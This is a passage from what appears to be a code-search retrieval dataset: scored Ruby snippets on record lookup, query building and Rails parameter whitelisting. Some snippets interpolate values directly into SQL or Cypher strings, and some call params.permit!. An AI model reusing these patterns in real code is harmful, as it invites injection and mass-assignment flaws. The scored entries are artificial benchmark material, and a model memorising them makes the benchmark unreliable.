\n condition += \" AND i.id IN (#{instance_ids.join(',')})\"\n# if options[:offset] or options[:limit]\n# condition += \" AND i.id IN (SELECT id FROM instances WHERE instances.entity_id =#{options[:entity]} ORDER BY id\"\n# condition += \" OFFSET #{options[:offset]}\" if options[:offset]\n# condition += \" LIMIT #{options[:limit]}\" if options[:limit]\n# condition += ')'\n# end\n end\n \n # Ordering clause of the \n order = 'display_order' if options[:instance]\n order = 'id, display_order' if options[:entity]\n \n \n # These are the tables that we query for the values because:\n # Simple text values are stored in detail_values\n # Integer values are in integer_detail_values\n # Date values are in date_detail_values\n dt = [ \"detail_values\", \"integer_detail_values\", \"date_detail_values\"]\n columns = 'i.id, i.lock_version as instance_version, d.id as detail_id, d.name, dt.name as data_type, v.id as detail_value_id, v.lock_version as value_version, v.value::text, e2d.display_order'\n # Here we list the columns that we want to have.\n \n\n #FIXME: Soem tables can be take out of join:\n # * entities2details. currently needed because need the display order.\n # * entities\n # * data_types?? (not possible due to integer, date and ddl value types)\n query = dt.inject(\"\") do |q, t|\n q += %Q~SELECT #{columns} \n FROM #{t} v \n JOIN details d ON (v.detail_id = d.id) \n JOIN instances i ON (i.id=v.instance_id) \n JOIN entities e ON (e.id=i.entity_id) \n JOIN entities2details e2d ON (e2d.detail_id=d.id and e2d.entity_id = e.id) \n JOIN data_types dt ON (d.data_type_id=dt.id)\n WHERE #{condition} UNION ~\n end\n\n # And this is for \n query += %Q~SELECT i.id, i.lock_version as instance_version, d.id as detail_id, d.name, dt.name as data_type, v.id as detail_value_id, v.lock_version as value_version, p.value::text, e2d.display_order \n FROM ddl_detail_values v \n JOIN details d ON (v.detail_id = d.id) \n JOIN detail_value_propositions p ON (p.id=v.detail_value_proposition_id) \n JOIN instances i ON (i.id=v.instance_id) \n JOIN entities e ON (e.id=i.entity_id) \n JOIN entities2details e2d ON (e2d.detail_id=d.id and e2d.entity_id = e.id) \n JOIN data_types dt ON (d.data_type_id=dt.id)\n WHERE #{condition} ORDER BY #{order}~\n\n return [query, records_info]\n \n \n end", "title": "" }, { "docid": "f35fd1aeae2f71e6ed3efbad9c3dc82a", "score": "0.54446465", "text": "def id_params_identifier\n raise NotImplementedError, \"Classes including the Searchable module should implement this class method\"\n end", "title": "" }, { "docid": "d75dcdf9760c193fac64e13272a6e3db", "score": "0.54404235", "text": "def id_to_class(id)\n @by_id[id]\n end", "title": "" }, { "docid": "c920aea33659a0505833f68abb716a2c", "score": "0.5437676", "text": "def search_identifier_key\n :id\n end", "title": "" }, { "docid": "501081e8587fe3ef8c3e11d2878b9539", "score": "0.5419606", "text": "def find(id)\n record = adapter.exec_prepared(\"find_#{table_name}\", find_sql, id).first\n entity_klass.new(record) if record\n end", "title": "" }, { "docid": "56d4a121a0d63477d401516988b22fb4", "score": "0.5419209", "text": "def query_class_name\n queryable_options[:class_name] || \"#{name.gsub(\"::\", \"_\")}Query\"\n end", "title": "" }, { "docid": "0aa2b77ceaf70519a6572d5a64f6df06", "score": "0.54178655", "text": "def id #:nodoc:\n \"filter\"\n end", "title": "" }, { "docid": "3226ef3c616421ce53c2061bcdee2ae4", "score": "0.54140174", "text": "def get(id)\n klass.find_by(klass.id_property_name => wrap_key(id))\n end", "title": "" }, { "docid": "2a3929195c6238348d83952e3b200cf0", "score": "0.540936", "text": "def perform(klass, operation, record_id)\n model = klass.constantize\n record = model.find_by(id: record_id)\n\n case operation.to_s\n when /index/\n record.__elasticsearch__.index_document if record\n when /update/\n record.__elasticsearch__.update_document if record\n when /delete/\n model.__elasticsearch__.client.delete id: record_id,\n type: model.__elasticsearch__.document_type,\n index: model.__elasticsearch__.index_name\n end\n end", "title": "" }, { "docid": "151a227550e8407edc9fa8eea2853c9b", "score": "0.54060876", "text": "def restful_search_on parent_key, params\n if params[parent_key]\n parent_class = parent_key.to_s.sub('_id','').camelize.constantize\n obj = parent_class.restful_find params[parent_key]\n #TODO Add a clause for restful_search_on to check for an id along with a parent_id\n # this will handel the http://tellmeafable.com/members/daicoden/fables/2 where 2 is\n # not the fable id but the 2nd fable? (Maybe this is not a good idea)\n obj.send(self.name.downcase)\n else\n self.restful_find params[:id]\n end\n end", "title": "" }, { "docid": "52ce8dcd378ac4a6b036400f3567a8a1", "score": "0.5387864", "text": "def _selector\n (embedded? ? _parent._selector.merge(\"#{_path}._id\" => id) : { \"_id\" => id }).merge(shard_key_selector)\n end", "title": "" }, { "docid": "ccd4f0c340e404d9e889f7e8c7cc322e", "score": "0.538144", "text": "def search_for_ids(*args)\n ThinkingSphinx::Search.new *search_options(args, :ids_only => true)\n end", "title": "" }, { "docid": "deaf75c3e531c8d7bb76f47efc6a20d1", "score": "0.53771615", "text": "def query_for_rendering(file_set_id)\n ::SolrDocument.find(file_set_id)\n end", "title": "" }, { "docid": "a4162e254484edebca675b7880f7225e", "score": "0.5375584", "text": "def def_class_finders\n re_define_class_method :all do |options = {}|\n if options.kind_of? String then\n return self.new options\n end\n\n # change id to name\n if options.has_key? :id then\n options[:name] = options.delete :id\n end\n\n klass.new GMetad.get_data('/?filter=summary', '/'), options\n end\n end", "title": "" }, { "docid": "11926e6fa3acb63c93f67304a5441632", "score": "0.5375513", "text": "def to_query\n Query.static(ids)\n end", "title": "" }, { "docid": "5118bf722dde63a4b3ce520b6213f1c8", "score": "0.5374881", "text": "def find_by_ids(ids)\n QueryResult.new(ids.map {|id| @index_list[id] })\n end", "title": "" }, { "docid": "68a94061775a35aafdf1f35f73c4ddb2", "score": "0.53681964", "text": "def query_for_rendering(file_set_id)\n ::SolrDocument.find(file_set_id)\n end", "title": "" }, { "docid": "e48bea6f67f9803a3dccd2588359d036", "score": "0.53613067", "text": "def find(*ids)\n # This code is taken from / inspired by activerecord:\n # activerecord/lib/active_record/base.rb, line 1589\n expects_array = ids.first.kind_of?(Array)\n return ids.first if expects_array && ids.first.empty?\n \n ids = ids.flatten.compact.uniq\n \n case ids.size\n when 0\n raise(Architect4r::RecordNotFound.new(\"Could not find the #{self.name} without an id!\"))\n when 1\n id = ids.first.to_i\n data = connection.execute_cypher(\"start s=node(#{self.model_root.id}), d=node(#{id}) match s<-[r:model_type]-d return d\")\n data &&= data['data'] && data['data'].flatten.first\n result = self.build_from_database(data)\n \n expects_array ? [ result ] : result\n else\n ids = ids.map { |i| i.to_i }.uniq.join(',')\n find_by_cypher(\"start s=node(#{self.model_root.id}), d=node(#{ids}) match s<-[r:model_type]-d return d\", 'd')\n end\n end", "title": "" }, { "docid": "34ac1d2b2547aec1e09bbbf9e34c6a61", "score": "0.53594524", "text": "def load(id)\n @clazz.multi_find([id])\n end", "title": "" }, { "docid": "65be90bd7cc8c67fee0d7931ceaf00fe", "score": "0.53563136", "text": "def cacheable_query(klass, arel); end", "title": "" }, { "docid": "de6933e538ee10cb91cbcc580e23d184", "score": "0.5343853", "text": "def search_by_randomized_id\n\n end", "title": "" }, { "docid": "a74131c7ceba253c3a8b44ce160e8d92", "score": "0.53364956", "text": "def query_for(record)\n record.public_send(as).where(filters)\n end", "title": "" }, { "docid": "46fe060dd4b7a8922b905ab3cf6addab", "score": "0.5327492", "text": "def find id\n end", "title": "" }, { "docid": "b38dcbe41373d900dbed9b5fc0e0ffc8", "score": "0.5323585", "text": "def search(query_string)\n class_product = Kernel.const_get(\"DriverProduct#{source}\")\n self.class.request_search(query_string).collect do |hash_data|\n hash_data[:driver_id] = id\n driver_product = class_product.birth(hash_data)\n class_product.first(:sid => driver_product.sid) || driver_product\n end\n end", "title": "" }, { "docid": "ec92e78ee6b9df9a1ac714bc1e300d21", "score": "0.5317124", "text": "def find_by_id(id)\n metadata = redis.hgetall(\"id:#{id}\")\n new(id, metadata) if metadata.key?(\"name\")\n end", "title": "" }, { "docid": "ec92e78ee6b9df9a1ac714bc1e300d21", "score": "0.5317124", "text": "def find_by_id(id)\n metadata = redis.hgetall(\"id:#{id}\")\n new(id, metadata) if metadata.key?(\"name\")\n end", "title": "" }, { "docid": "85d2fbbb0ff5422ac632980095969b35", "score": "0.5315349", "text": "def find_one_by_id(id, options)\n result = instantiate(database.get(id))\n # TODO This is bad, but more efficient in DB terms\n conditions = (scope(:find) || {}).merge(options[:conditions] || {})\n ({:ruby_class => document_class_name}.merge(conditions)).each do |key, value|\n raise DocumentNotFound unless result.read_attribute(key) == value\n end\n result.readonly! if options[:readonly]\n result\n end", "title": "" }, { "docid": "bfe7c12e827fdb986e1874b61a6bbae7", "score": "0.5314077", "text": "def find_with_redis(id)\n me = self.new\n redis_attr = redis.hgetall(\"#{me.class.to_s.downcase}:#{id}\")\n return nil unless redis_attr[\"id\"]\n me.attributes = redis_attr.reject { |field| field.match(/^\\w+\\d+\\w+$/) or field.match(/^\\w+_.*_\\w+$/)}\n me.populate_associations_from_redis(redis_attr.select { |field| field.match(/\\w+\\d\\w+/)})\n me.populate_custom_fields_from_extraneous_redis_calls\n me \n end", "title": "" }, { "docid": "66ffe51f948a664698254409a4964f60", "score": "0.5312901", "text": "def reflect_by_id!(id)\n record = self.new\n record.id = id\n record.reflect!\n record\n end", "title": "" }, { "docid": "15dfa2c6c227383fbd9375bb2a3ead5d", "score": "0.531256", "text": "def query_for_rendering(file_set_id)\n ActiveFedora::SolrService.query(\"id:#{file_set_id}\",\n fl: [ActiveFedora.id_field, 'label_ssi', 'mime_type_ssi'],\n rows: 1)\n end", "title": "" }, { "docid": "2dcf0d6f417ea671431a4e9c50f59311", "score": "0.5312058", "text": "def where_clause_for_klass\n # no-op\n end", "title": "" }, { "docid": "6b1cdecf1cdb49d148542a4646ffc5cf", "score": "0.53091437", "text": "def find_one(id)\n if validate_id(id)\n row = connection.get_first_row <<-SQL\n SELECT #{columns.join \",\"} FROM #{table}\n WHERE id = #{id};\n SQL\n\n init_object_from_row(row)\n else\n return\n end\n end", "title": "" }, { "docid": "458d700cee4cca7de267bb8fd31e44df", "score": "0.53074306", "text": "def find(id)\n record = @record_type.find_by(@mapping.lookup_column => id)\n return nil unless record\n\n instance_type.new(@record_type, record, @mapping)\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "7c8a4706fec37f2c3d28a3dce22c6d2d", "score": "0.0", "text": "def reuniaoletra_params\n params.require(:reuniaoletra).permit(:nome, :data,\n :letras_reunioesletras_attributes => [:id, :letra_id, :_destroy,\n :letra_attibutes => [:id, :nome, :cantor]])\n\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.74964964", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.6957765", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69230586", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68947256", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67858917", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.6744584", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.66838515", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.66377395", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.6630126", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66275877", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.6563836", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491144", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.64795035", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64554673", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6400335", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6383865", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63651955", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.63397634", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.63365567", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.63255155", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.63213927", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.6316403", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.6315604", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6307638", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.63021296", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.62997764", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.6296763", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62929094", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62929094", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.62788033", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6273929", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6268545", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62560433", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.62552184", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.6251849", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6235865", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.62297344", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.62295026", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62290955", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.62265784", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6201104", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.6191696", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6182714", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.61806464", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.6163644", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.61625385", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6156412", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.6155956", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.6136645", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.6133421", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.6120651", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6118827", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6118827", "text": "def check_params; true; end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61142564", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.6111942", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6103834", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6103834", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.60985845", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.60985845", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.6086854", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.6086072", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60840344", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.60800475", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.6075834", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.60682875", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.6068218", "text": "def need_params\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6067243", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.60659254", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.60643286", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.60638577", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60627776", "text": "def filtered_parameters; end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60595316", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6049658", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6049658", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.6048805", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.60472894", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041993", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.603529", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6030866", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6026469", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6022541", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.60210687", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017866", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.6016719", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.6009781", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.60081726", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.60081726", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6006408", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60043436", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.6003569", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.60022444", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6002005", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6002005", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.6001209", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.5999349", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.5999349", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5994614", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.599459", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.5993829", "text": "def 